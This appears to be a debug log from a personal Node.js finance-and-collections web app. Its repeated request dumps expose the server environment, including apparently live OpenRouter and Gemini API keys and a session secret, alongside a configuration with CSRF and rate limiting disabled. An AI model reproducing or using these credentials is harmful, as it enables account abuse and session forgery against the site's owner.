2026-04-23T09:06:42.254Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-23T09:06:42.255Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-23T09:06:42.255Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-23T09:06:42.256Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-23T09:06:42.256Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-23T09:06:42.276Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-23T09:06:42.279Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-23T09:06:42.280Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-23T09:06:42.280Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-23T09:06:42.280Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-23T09:06:42.281Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-23T09:06:42.281Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-23T09:06:42.281Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-23T09:06:42.282Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-23T09:06:42.282Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-23T09:06:42.282Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-23T09:06:42.282Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-23T09:06:42.283Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-23T09:06:42.283Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-23T09:06:42.283Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-23T09:06:42.283Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-23T09:06:42.283Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-23T09:06:42.284Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-23T09:06:42.284Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-23T09:06:42.284Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-23T09:06:42.284Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-23T09:06:42.285Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-23T09:06:42.285Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-23T09:06:42.285Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-23T09:06:42.285Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-23T09:06:42.380Z server-connect:router Serving templateView /
2026-04-23T09:06:42.390Z server-connect:app Executing action step identify
2026-04-23T09:06:42.391Z server-connect:app options: { provider: 'security' }
2026-04-23T09:06:42.392Z server-connect:auth No login cookie found
2026-04-23T09:06:42.392Z server-connect:output identity: false
2026-04-23T09:06:42.392Z server-connect:app Executing action step restrict
2026-04-23T09:06:42.393Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-23T09:06:42.396Z server-connect:output restrict: undefined
2026-04-23T09:06:42.713Z server-connect:router Serving templateView /login
2026-04-23T09:06:42.714Z server-connect:app Executing action step identify
2026-04-23T09:06:42.714Z server-connect:app options: { provider: 'security' }
2026-04-23T09:06:42.714Z server-connect:auth No login cookie found
2026-04-23T09:06:42.714Z server-connect:output identity: false
2026-04-23T09:06:42.714Z server-connect:router Render template layouts/authentication
2026-04-23T09:06:42.715Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '157.173.126.70',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-24T09:06:42.712Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.173.126.70',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '157.173.126.70',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-23T09:14:10.776Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-23T09:14:10.952Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-23T09:14:11.042Z server-connect:setup:upload Upload middleware configured.
2026-04-23T09:14:11.043Z server-connect:secure CSRF Protection initialized
2026-04-23T09:14:11.045Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-23T09:14:11.047Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-23T09:14:11.047Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-23T09:14:11.076Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-23T09:14:11.077Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-23T09:14:11.080Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-23T09:14:11.081Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-23T09:14:11.082Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-23T09:14:11.082Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-23T09:14:11.083Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-23T09:14:11.083Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-23T09:14:11.083Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-23T09:14:11.084Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-23T09:14:11.084Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-23T09:14:11.085Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-23T09:14:11.085Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-23T09:14:11.085Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-23T09:14:11.086Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-23T09:14:11.086Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-23T09:14:11.086Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-23T09:14:11.087Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-23T09:14:11.087Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-23T09:14:11.088Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-23T09:14:11.088Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-23T09:14:11.088Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-23T09:14:11.089Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-23T09:14:11.089Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-23T09:14:11.089Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-23T09:14:11.090Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-23T09:14:11.090Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-23T09:14:11.090Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-23T09:14:11.090Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-23T09:14:11.091Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-23T09:14:11.091Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-23T09:14:11.091Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-23T09:14:11.091Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-23T09:14:11.091Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-23T09:14:11.092Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-23T09:14:11.185Z server-connect:router Serving templateView /
2026-04-23T09:14:11.187Z server-connect:app Executing action step identify
2026-04-23T09:14:11.188Z server-connect:app options: { provider: 'security' }
2026-04-23T09:14:11.189Z server-connect:auth No login cookie found
2026-04-23T09:14:11.189Z server-connect:output identity: false
2026-04-23T09:14:11.189Z server-connect:app Executing action step restrict
2026-04-23T09:14:11.189Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-23T09:14:11.193Z server-connect:output restrict: undefined
2026-04-23T09:14:11.726Z server-connect:router Serving templateView /login
2026-04-23T09:14:11.726Z server-connect:app Executing action step identify
2026-04-23T09:14:11.726Z server-connect:app options: { provider: 'security' }
2026-04-23T09:14:11.726Z server-connect:auth No login cookie found
2026-04-23T09:14:11.727Z server-connect:output identity: false
2026-04-23T09:14:11.727Z server-connect:router Render template layouts/authentication
2026-04-23T09:14:11.727Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/117.0 Safari/537.36',
    'accept-charset': 'utf-8',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '94.250.203.28',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-24T09:14:11.724Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '94.250.203.28',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/117.0 Safari/537.36',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '94.250.203.28',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-23T09:16:52.849Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-23T09:16:53.034Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-23T09:16:53.121Z server-connect:setup:upload Upload middleware configured.
2026-04-23T09:16:53.122Z server-connect:secure CSRF Protection initialized
2026-04-23T09:16:53.123Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-23T09:16:53.125Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-23T09:16:53.125Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-23T09:16:53.126Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-23T09:16:53.126Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-23T09:16:53.127Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-23T09:16:53.128Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-23T09:16:53.129Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-23T09:16:53.131Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-23T09:16:53.132Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-23T09:16:53.132Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-23T09:16:53.133Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-23T09:16:53.133Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-23T09:16:53.133Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-23T09:16:53.133Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-23T09:16:53.134Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-23T09:16:53.134Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-23T09:16:53.134Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-23T09:16:53.135Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-23T09:16:53.135Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-23T09:16:53.135Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-23T09:16:53.135Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-23T09:16:53.136Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-23T09:16:53.136Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-23T09:16:53.136Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-23T09:16:53.136Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-23T09:16:53.137Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-23T09:16:53.137Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-23T09:16:53.137Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-23T09:16:53.137Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-23T09:16:53.137Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-23T09:16:53.138Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-23T09:16:53.138Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-23T09:16:53.138Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-23T09:16:53.138Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-23T09:16:53.138Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-23T09:16:53.138Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-23T09:16:53.139Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-23T09:16:53.247Z server-connect:router Serving templateView /
2026-04-23T09:16:53.251Z server-connect:app Executing action step identify
2026-04-23T09:16:53.251Z server-connect:app options: { provider: 'security' }
2026-04-23T09:16:53.253Z server-connect:auth No login cookie found
2026-04-23T09:16:53.253Z server-connect:output identity: false
2026-04-23T09:16:53.253Z server-connect:app Executing action step restrict
2026-04-23T09:16:53.253Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-23T09:16:53.257Z server-connect:output restrict: undefined
2026-04-23T09:17:00.589Z server-connect:router Serving templateView /login
2026-04-23T09:17:00.589Z server-connect:app Executing action step identify
2026-04-23T09:17:00.589Z server-connect:app options: { provider: 'security' }
2026-04-23T09:17:00.589Z server-connect:auth No login cookie found
2026-04-23T09:17:00.589Z server-connect:output identity: false
2026-04-23T09:17:00.589Z server-connect:router Render template layouts/authentication
2026-04-23T09:17:00.590Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    referer: 'https://duckduckgo.com/',
    'sec-ch-ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '34.182.220.0',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-24T09:17:00.587Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.182.220.0',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_REFERER: 'https://duckduckgo.com/',
    'HTTP_SEC_CH-UA': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '34.182.220.0',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-24T06:15:53.609Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-24T06:15:54.783Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-24T06:15:55.242Z server-connect:setup:upload Upload middleware configured.
2026-04-24T06:15:55.242Z server-connect:secure CSRF Protection initialized
2026-04-24T06:15:55.245Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-24T06:15:55.247Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-24T06:15:55.248Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-24T06:15:55.249Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-24T06:15:55.255Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-24T06:15:55.256Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-24T06:15:55.271Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-24T06:15:55.284Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-24T06:15:55.286Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-24T06:15:55.289Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-24T06:15:55.289Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-24T06:15:55.292Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-24T06:15:55.298Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-24T06:15:55.309Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-24T06:15:55.309Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-24T06:15:55.318Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-24T06:15:55.320Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-24T06:15:55.322Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-24T06:15:55.328Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-24T06:15:55.331Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-24T06:15:55.333Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-24T06:15:55.336Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-24T06:15:55.336Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-24T06:15:55.343Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-24T06:15:55.345Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
